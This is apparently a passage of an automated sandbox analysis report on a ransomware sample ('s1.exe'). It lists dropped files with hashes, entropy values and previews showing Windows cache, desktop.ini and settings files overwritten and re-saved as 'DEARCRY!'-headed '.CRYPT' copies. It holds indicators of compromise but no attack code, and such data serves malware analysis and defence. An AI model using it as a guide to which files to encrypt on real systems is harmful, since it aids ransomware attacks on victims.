                                                              SHA-512:3F22BB816608DC7226B3AEB7BBC5D64789B4CBA19C5C06836927374B58AD2D1081FA0799E8699F0DD5443675968A3D9516EFDFDD69700689E35CEC7E78540CB4
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V010000B.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2098336
                                                              Entropy (8bit):7.999913283810865
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:1CCFFF38E2B43EF64537FB7AC9FADEE9
                                                              SHA1:F8A0FC462928FD5463A774D003935553E1332575
                                                              SHA-256:E6B7A48E8F8933B4AFD7D7168DF0E9FF06079D105E4C4DC1124D4E501D335E85
                                                              SHA-512:E4809793C0FE0577AEA0C9B48971BD72DC375028369DD76DD077BE6B5021ED610AF08AAC7ED13E2C16F32A43EFBFE59FAA84F11F2CE52E5D7999EF080504F4F2
                                                              Malicious:true
                                                              Preview: DEARCRY!....t.......0;..?>_F.g{0.hY.Pd.tG0..|<.WO.........L..>.8...h.V.?P."-....Y..o.Q.?.?...dA.%....i...nI1.v'..s.&...1..).........SK.u.V4_[SgA...0.$~.0..?=......_ .m..,.H/cM.T...g......N*..p..[.9.`R(Q@....M."}.bub...F.G...k....".R+X.9...K.I.X..1.A.b.@............'...N..5...`...P..`mf.".=.-...e....M....*[....}.........u.......7.._$...e..eF.bx..M...O..0e.)^T.6.e....%....N.x.........Jp.8.H'.U.`..s...l..Hh..}.6...Y.R.C!.5...t.V.U`H.....[...{.eJS.[..<..*. ...D...f?XN.8..6.a./2.S.A.. ......AWq...5..8..ny._b.A..,.......'K.M.N..rW..n.O....-..........6.zh...?..l4.Y..|......]...<.>.h...Q%..E..Vl.......\#KL....T.q...F:f5#7....r.Un.e.......x.)dn..?kn.xeW.T1.Pq.,4Q........BTs.n@..5.H.S.....0..`.=..+......i<..)`..V.h..0$...9.A..r..s..R..@.53=...)T.hX.e..v....@...<R4[.&.6..W....w.?..x.q.q..P{.A.....N..h.w..[i .X@L!.....OA..Q.....@1............?..F.;B.p.P-.k..:.,/.5.A. =..e..T...P..7...|.....'......G.+M..^\k.n:..v@....X....[......Ec...0E..... gM.
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V010000C.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2097152
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:164E628D04865CBBDF13880248C837B0
                                                              SHA1:0DA0F9A485B4E400431E1ACF7B8DDA40F82CBF83
                                                              SHA-256:5B766F6D76A999636FD93B4E039D5A32187F84A19C0950449F0C721DA0223914
                                                              SHA-512:3F22BB816608DC7226B3AEB7BBC5D64789B4CBA19C5C06836927374B58AD2D1081FA0799E8699F0DD5443675968A3D9516EFDFDD69700689E35CEC7E78540CB4
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V010000C.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2098336
                                                              Entropy (8bit):7.99991198558298
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:2E8E8BAC9EAF68AFAEA7AD33247226BA
                                                              SHA1:0A45F5AFC666E56FE7D9FD27D826BF114AD6C81C
                                                              SHA-256:FD5ADD8808AC5B0A2D84E193A764A7543A4AB7ABED09B7CA158042C0F3E78474
                                                              SHA-512:2AE90D90C6F847087D68A971F22DAE32B61E4311E3D2CD8BC8C8F2EBC80CE6E2A2877BD34FDDD42EB310F78B76BB9746F93BD708B12F66FE4C848148FF5B0112
                                                              Malicious:true
                                                              Preview: DEARCRY!.....[.....m5`.Y#&.U.....V!.........TR.OH..T.B.0......_.q...6*..&...V!.W.V..t...f....&.Y...k.J=.p.y..@..).+ .G+.y.D..2Np....b..."....Zy..i~....Gm..,uU.5d.A...{..6..T.V].y.L..&....6...S.7B@.\...`...sV..m...9Q....:l.$c^)..X..(..:..6...,..S.H.N2. +....q.I..............b.sQ.M_m;&`.....6.f...#j'./...k...u.`.Q..cPc9..U......VHe.{.Li....]..H..dJ.{].*..4=Un......y.+..w....|s{.Rd..I!...........,..%..uLs.#.N.@...L.....6..B..%..D.[q.YQ(b.m4...LJ?..0..s..$.B..q.y.~.9?.G|...'~.i..Ai..}I..+I..C!../.......U...#..k.9.._.nk5S..S...+.r.bRg.2/....H....k...w....2..p8Q.....k....CE]......Q .....f..tJF.xy$..q..l.v..VvG.bFS.....:`..mB.g...6].TUw..z >up.c[..{9P..!.y...zDb9.H'."2..<..x8\x.pkU.%R>)..6N.`..:.l....X[6x.*.[.....-H.....I.0"..Ck...n|.5RxE.?.l....1|.N.`Z.?w$X.c%{......djQ...B..|..7...O....=..I..&(....-..G.NCp.Qu....DR.2tef....4w.|..V].{..I.Z.q....<Y}.....O...i'..5..c...m.@0...b..... i....%..'..,+.b./.n....8.{#..T.......M$s.."p....*.^.?.$Xk.B.%.....l....kc...
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\WinX\Group1\desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):300
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:EC11AEA0501A4C68D89E47D243AAA1EB
                                                              SHA1:DAFA3FDDC4944F240B3C9447C62DF6FBD89AA197
                                                              SHA-256:4DAEB9AC8BE203281ACEB5F4511220333686ABFDE4D2CCD50A49CD156A2E8CF5
                                                              SHA-512:689699398B28BAE3C2A4D8A6EAA995FD7FBABD41C90C09FAD4152CF3CDCBF8BBC89979D0A8AAF64A840C70D1BF9551CBB6BCE93716F7C8F945124B2F50C7A715
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\WinX\Group1\desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1440
                                                              Entropy (8bit):7.778013286887635
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:20F8EDB094298B4E958191127AA026E8
                                                              SHA1:3D2055DB3E424B0D9E2FA33D592D910F91E4CBE7
                                                              SHA-256:8F4C72E0A383D2BE9C4D7AD195F89A69D5A37A10B0131933AA06A3BDE5DA60E1
                                                              SHA-512:7969E1AF2E1247AF54B0D15AAD028CCF614C51E657DB0FB65760E8271C9B5A2821D97288E5D7827162D6C6D57AC99C2A325EBD16308F3420516B056FD02146FD
                                                              Malicious:false
                                                              Preview: DEARCRY!.....Fz8f...>...r.....<.+w.-............sB..'.y..j.....]..<._;...N....*b...eC...*....R..f....S....e.IL)...;.o.r.3;.B.O..&.y.8&.-......m,...9..>...],..ps...a0z#s.v..,.../...y..........q.}....(YMPM&.K......R..4..8=|d."\.D.{.V...6....~..S.C%r...E..........K..........F......uvjx8...9.R..MF>....."......!........>Xdt.z..e...;5.[~.....Y.F.....DEARCRY!.......".J#...hH...p....e..N..i.=UR..;|....@..i..~..z...4...E.....1.@a.......`6.O.u.'.I.....d.$*>.P6~.x^x....-....!.7...L....;....~.s..JG.PP.%...a.*K.m^#(.I..h....}.....m..".....&7E\....B..n..tg...........o..~'.T....&$.;4d.Bj]x...r..[.r.x..........K.......s9.O.ZUv/..[......j.H..s..c.g.e.P..#........U..y..7X%.'$1.y..pD...K.l.....DEARCRY!....h.!..(.&........<.....8y*..IY.g..$/.......L..9.H].'...\..V.q]Z..^<1.m..4.E..o.....Dm.. .....j.b..),?Y9.....Y}....5.~.1s}.....{tL;.cbi......9.!..w..g....1N..-.)Ur4.D.......?]......Vm.....qc|A\...%~.xB.....m.....0...6.0. .).l.X.%....3BJ.....kW....K.......
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\WinX\Group2\desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1300
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:08DBA270834861847677A0A62765093E
                                                              SHA1:A5B79C96C8E5D7EA1BDAF88CC63993B2D92D23DA
                                                              SHA-256:F36BC59690154CCEC87279A3427CFFDD7073588D0B451169D4DD7550C2AAFFB4
                                                              SHA-512:DADD478ACB7EFC38E3C559F8FA334331EB427F1BD62B8C95CEEC83ACDC8960555654A6BCA1957A54C8F9A46AA1B4A1FE6CA9B72024F9EFDD88E33986B0ADFC80
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\WinX\Group2\desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2464
                                                              Entropy (8bit):7.880900745832715
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:028817074A760098EA39133FDAFD00D8
                                                              SHA1:691E7989E8711BEC3FD03FC7677B989A88CD93E1
                                                              SHA-256:AB48F178B4A6CE77FA91BA8E421CEAABB0FFF69530ACA7C85723B488767ECF7B
                                                              SHA-512:78FDB29A5A7BA5124A21366C1DFBD50016047F5F3B02B51BCC5D679FD8AD93545FD95504F1EBF5AAE7B72C7BC620CFFB1BE9D654ECB58B5417781548FFB2A4D2
                                                              Malicious:false
                                                              Preview: DEARCRY!....@.k.-...UVz.....B6s..'..".%$~.N!J...v..r..$.i2$.%}...k..[.JL]......;~{l..#..b11..h?.p....9.............lXUaMn9.A?Q[#.b..q..+?.}!.G.T..v...#Gs..E.s.P0M.49MJ....uxa.M.';4..)]..i?..+.y....Z.Q.8x#...R.+...0.....9.=........;a.."...;.;......t. R.M....E........sj>4c...2.Z.A.......IC..u.:`'Q;Oj.F.....O...CzT..%IRr..K.+.t...~..:.....FM.n...}..H.Bd.w.x...R..=.Z.a.bc...L...l[.=a.x..~...N....Zy.......E.d@....Za...4...F.5;....(U.1..........N.-~@9.2.`S../.BH.+sc......O.$c.:.kf....T...=.....`...>Qr...Z.CU.d*..Tn...M[....Y`....d.4.._6........*S.%.(.X(Wt....Q....E}.......j;...1/C.."DEARCRY!.....@.p:R....d?39............V2...._(..Rh...3[..'3.F9..9.<..@..*......Fi....,.$.+R4...i.6...`>9.c.T.zl.$d.Ho......g..o.n....'.Y.....(...j.y~.J........).._....\.5s....j.Cp._.Qrv....U.sK. ...p.a'.((....m.'.).b....=.*..q.9.....k.@.../.....>../..N..3..ZT.....E............LFJ-..}..A.&......c......9....L..\..3...o........C.0.J..<..3...A.I(|b.J.....4l..6Fp...~p...+...kbn
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\WinX\Group3\desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3764
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:324E99CE109500132CF083A0C3B21429
                                                              SHA1:C4C34A3288D3FF6906810434BA459E89C2C3FD21
                                                              SHA-256:36A93FA63F9326765F9CF7E6853FDFC9C9CFF18673649B64C803107BBEADBE2E
                                                              SHA-512:33FA3F00C270D96DC2F6F14ED3803979058779DBEC8B1DC98340009F93B2881A5006DF82EFC87D4EA87206B7FF612A8549B38E072F2CCFBF48F7A4EC857367D0
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\WinX\Group3\desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4896
                                                              Entropy (8bit):7.947062763216001
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8DB4247410F793664FC6AD6586D12CFB
                                                              SHA1:C54C16AE5DA930A359CF8AC4BA222B2A3A37D67F
                                                              SHA-256:086DCB6DD2F2C6C1FEDFF18E7225C3B16F2684711B37D49AA2ADD1961AB2A65E
                                                              SHA-512:2F7B986CEA016BEE6CD4C33908CF0697C4DAF6CE0E8F5B8E111401B016A036660F2D30042D08F2BAF650C9B5F04344670D6B84A8B1FFCF53B31C69A8F978E9A8
                                                              Malicious:false
                                                              Preview: DEARCRY!....{)......F(....m.n.O.......(.!..y............k)..B/#....ZZ>3.R.;...y............z..:..d.1c..Wj..x..z=1-.b.L........WU0y.#9.s........k.....+.!i...A...a..D2n.<-L.qr..#H...s.R..._R..~]..So...?..`1..m..A.....9.1."u..-:t..#..P.. `.<.......D..=.c..................O..W....3..<,.....]...2..........?P{.6. j..D...*...R..M...../C,.K)!nW..#......v1......s..B8...N.Z2s.....P8...D....P........I..xUE..3RW...<.....@9..r.h.F7..k5.."C>.qX..r..<%.o^..n.G8..HGm..S...7:..I,r....{...a...G:..vr..tJ.}q3..p..93.I5.QR..>.I.\.T.."9...7..k........-.m. .r..f<...Rt.......R.=..V....b.....i]....F..W..O..P..V.9na........hlA.'n+Y.\./..... .{.Vp..=Y...1..s.CHfB3I....hN.4u!..fe....".`.6.........-$ln4.....7.r.....R.:....r.0.*....lP.:..P.<0.......V2.7.9.I..)..,.2.GF... Gp.6.....T.%....q..U..Kaf.[ ......7..?..!.....1.+Mf.W.Xl:..O..l..lX.A7.....?.L@.........!..AKRjZB.....t..v..}?.....Kb.T...T..s... .).@m)...c...9.s..)D_.z.<r...}..Kzutv...]W......8...|..O6.Y.....C.35B&.O..
                                                              C:\Users\user\AppData\Local\Packages\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.978120346916421
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:52607329B1D92807559A79C1D5EFF461
                                                              SHA1:5F376B7E33118775179A6015A51F5347C1E1B14A
                                                              SHA-256:6A1052C113F050B23D265D8A024CEABD6AC91526CAB729ABB00EEC6DEB897107
                                                              SHA-512:E6965DAC4D2F54F1F5AB2222A4066E0C0563433304E8078A028D859352504779BD5B62B51F2B3FFF7E3FD0D1A2712AE59457D379262289C428D05319929D6970
                                                              Malicious:false
                                                              Preview: DEARCRY!....<b.^...".(..R.J!...P}w..n..WS..}e...`r1.>...m1Y.XAjK......I?9....../..P{....C...p.c|le!.v.p....N.6..Y..>..Ml.dO..`.S..4.t..Jc.E^.q....."..t......n..U.".!Q.^.....U.$.b........l....1..o.p.j....7V...#.q./Sz..R.....g.h.._.2u..~lRG.\.qR.~g..:M....6....... .......f..$...A.H.C..G(F<r..e.P=,k{f#.. 4..<....ps..P.E.. .......P[.e..v......N....Dg..|k+a..a...E............_..@.wk.N.Yh...eW-Q4..;...D-.z3..Z.. ..."..&.`..L......Qc.Q.}..[.!....l..K:..;..y.4ys..wd.l...;...G.p.T.s.f.pt.~'..-..q..=....F.C9.5_*.l....1TQ......O.........ne.Q..^..&+..../.L!...zk\..o....Or.n....]S.!..n...$.3.D|..j..7..<>.cG.U..o.T......1.+....h..L0.d.......(.u^......e.&...[.P....K*.:U0k[.1.v`...uW.......K......F..F.._-.xgn`.....BaAA.bRR~b..~....~h...'.].,...S....H..=....e....M..8Wmte.........3.<.5K8f.pY.T..Jd..g..).=.P..G`...VQm.K.Y0..Au.-L...G....w...|8...@4J.........\b....<#y.JN..J.K.q.8s..j...,V.Wa..........+.......X.a.....7OFe1.....2Di......{.Lq..1...t5.[.Ai.{...
                                                              C:\Users\user\AppData\Local\Packages\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA